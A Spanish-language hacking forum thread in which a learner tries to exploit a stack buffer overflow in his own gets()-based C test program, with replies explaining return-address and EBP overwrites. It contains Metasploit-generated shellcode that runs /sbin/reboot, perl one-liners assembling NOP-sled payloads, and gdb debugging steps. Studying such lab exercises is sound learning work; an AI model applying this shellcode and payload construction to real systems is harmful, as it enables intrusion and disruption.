Problema, return address buffer overflow (Cómo calcular la dirección del buffer?

Iniciado por Debci, 22 Marzo 2014, 18:16 PM

0 Miembros y 3 Visitantes están viendo este tema.

Debci

Buenas a todos, compañeros foreros, estoy trabajando este programa, al cual intento inyectar una shellcode:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void premio() {
printf("El flujo de código ha sido modificado.\n");
}

int main(int argc, char **argv) {
char buffer[64];
gets(buffer);
}


Y genero shellcode con el siguiente comando:


root@debci-lab:/usr/share/metasploit-framework/tools# msfpayload linux/x86/exec CMD="/sbin/reboot" P
# linux/x86/exec - 48 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=/sbin/reboot
my $buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00" .
"\x00\x2f\x73\x62\x69\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x00" .
"\x57\x53\x89\xe1\xcd\x80";


Y usando el pattern match de msf, me dice que la return address está en un offset de 76 a partir del buffer. Por tanto hago lo siguiente:

[28 NOPS] + [48 PAYLOAD] + [4 RTN ADDRESS]

Para calcular la RTN address, he hecho lo siguiente (la dirección de mi buffer):

gdb poc
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/testOverflow/poc...done.
(gdb) break main
Breakpoint 1 at 0x8048469: file test.c, line 12.
(gdb) run
Starting program: /root/testOverflow/poc

Breakpoint 1, main (argc=1, argv=0xbffff584) at test.c:12
12 gets(buffer);
(gdb) print &buffer
1 = (char (*)[64]) 0xbffff490
(gdb) quit
A debugging session is active.

Inferior 1 [process 10092] will be killed.

Quit anyway? (y or n) y


Por tanto me queda así el buffer que mando, sabiendo que la address del buffer es 0xbffff490:


perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00\x00\x2f\x73\x62\x69\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x00\x57\x53\x89\xe1\xcd\x80". "\x90"x28 . "\x90\xf4\xff\bf"'

Pero solamente obtengo un "Violación del segmento".

Para asegurarme que el buffer está bien calculado en tamaño, hago lo siguiente:

perl -e 'print "\x90"x28 . "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x0d\x00\x00\x00\x2f\x73\x62\x69\x6e\x2f\x72\x65\x62\x6f\x6f\x74\x00\x57\x53\x89\xe1\xcd\x80" . "\x4c\x84\x04\x08"' | ./poc
El flujo de código ha sido modificado.
Violación de segmento


Sabiendo que la dirección de premio() es 0x0804844c, que he conseguido gracias a objdump.

Qué estoy haciendo mal? Abordando el problema usando la ADDR de premio(), llego a la conclusión de que la dirección de salto es incorrecta o que el payload está mal generado?

Estoy cómo loco y no sé que diablos me pasa...

Sagrini

Que sepas que, llevando 2 años justos sin entrar en el foro, no he podido evitar entrar al ver este post jajajaj. A mí también me comió un poco la cabeza... pero te explico lo mejor que pueda.
Lo que estás buscando con este código es sobreescribir la dirección de retorno de una función que... no tienes. A ver, que me lío. Creo que el problema es cómo lo estás enfocando. Para hacer lo que tú quieres hacer, lo que yo he hecho toda la vida ha sido sobreescribir la dirección de retorno a main () de una función llamada desde main ()... un código como:

#include <stdio.h>

void welldone ()
{ printf ("Campeon!!\n"); return; }

int yo (char *entrada)
{ char buffer [48]; strcpy (buffer, entrada); return 0;
}

int main (int argc, char *argv [])
{ yo (argv [1]); return 0; }

Main llama a yo () y le pasa el 1º argumento. Entonces yo () lo copia a un buffer con un tamaño limitado con la función strcpy () (había otra por ahí mejor que strcpy () por este tema, porque te limitaba el tamaño de las cadenas y evitaba estos problemas, pero no recuerdo cómo se llamaba...) y vuelve a main (). Ahí está la clave. Lo primero que yo hacía era sustituir la dirección de retorno a main () por la dirección de welldone (), y luego me las ingeniaba para meter de por medio la shellcode...
Espero que se entienda. Si puedo, subiré un ejemplo en un ratillo... Y el lunes subo el tutorial que dejé a medias (¿¿¿¿con 13 años????) sobre esto. No sé si realmente main () tiene ninguna dirección de retorno que sustituir! Habría que verlo... pero creo que no. Al menos no lo recuerdo así. Voy a por ese ejemplo. A ver si te vale ;)
Sagrini

Lo que te vendría muy muy bien sería echarle un vistazo (estudiártelo ENTERITO, es perfecto) a un libro que se llama "Hacking. Técnicas fundamentales" de Jon Erickson. En cualquier biblioteca estará. Te va a servir muchísimo.

_______________________________________
MODIFICO:
Aquí lo tienes. Es un post antiguo, ya me sonaba a mí de algo el problema.
http://foro.elhacker.net/bugs_y_exploits/first_bof_linux_attack_sagrini_2010_elhackernet_funciona-t317514.0.html;msg1578503#msg1578503
En ese link tienes la respuesta completa con el ejemplo para lo de llevar el flujo de la ejecución a una función que no se invoca... y en la página siguiente el ejemplo con shellcode ;)

soez

Puede ser que haya una pequeña diferencia entre las direcciones dentro de gdb y fuera. A mi me pasó probando con kali linux. Puedes jugar con este código para ir testeando con gdb y sin él.

Código (asm) [Seleccionar]

int reg_esp ;

__asm__ __volatile__ ("mov %%esp, %0"  : "=g"(reg_esp));
printf("ESP value before function: %p\n", (void *) reg_esp);

premio();

__asm__ __volatile__ ("mov %%esp, %0"  : "=g"(reg_esp));
printf("ESP value after function: %p\n", (void *) reg_esp);


Otra cosa que puedes probar es poner un bp en gets() e ir mirando la pila.
01001010 01100001 01110110 01101001 01100101 01110010

Debci

Muchas gracias por vuestras respuestas. De veras :P
En cuanto consiga algo, os informo a ver qué tal :P

Saludos

soez

Comienza con Start y ve mirando la pila, esto empieza en el main, con step vas instruccion a instruccion,  a ver si lo sacamos..

(gdb) Start

(gdb) x/20x $esp

PD. Como segunda opción puedes poner un bp en gets y en el ret del gets y mirar la pila

(gdb) break gets
(gdb) disass gets
(gdb) break *address
01001010 01100001 01110110 01101001 01100101 01110010

Debci

Me he fijado que hay caracteres que no entran, por el tema de badchars. Quiero creer que estoy fallando por eso, pues como calculaba el offset donde debía caer mi rtn address modificada, al comerse parte del buffer ya no cae donde tiene que caer.

Saludos

soez

Lo has compilado sin protecciones? puedes checkearlo con este script http://www.trapkit.de/tools/checksec.html ./checksec.sh --file ejecutable

PD. Tienes dos epilogos de función seguidos y con esto con solo pisar un byte de EBP puedes explotarlo (a no ser que esté la cookie antes). Tienes que poner en EBP un address - 4 de la pila donde se encuentre el offset apuntando a la shellcode, porque al hacer pop %ebp, esp incrementa en 4. Un ejemplo en pequeño..

Epilogo ->  mov %ebp, %esp
                pop %ebp
                ret

Con el primer epilogo en pop %ebp, coges lo sobreescrito y con el segundo epilogo mueves ebp a esp. Espero que se entienda..

  shellcode            0xbfffff00                          ebp=0xbfffff04                      ret
+----------------+----------------------------------+---------------------------------+---------------+
  0xbfffff00             0xbfffff08                          0xbfffff0C
01001010 01100001 01110110 01101001 01100101 01110010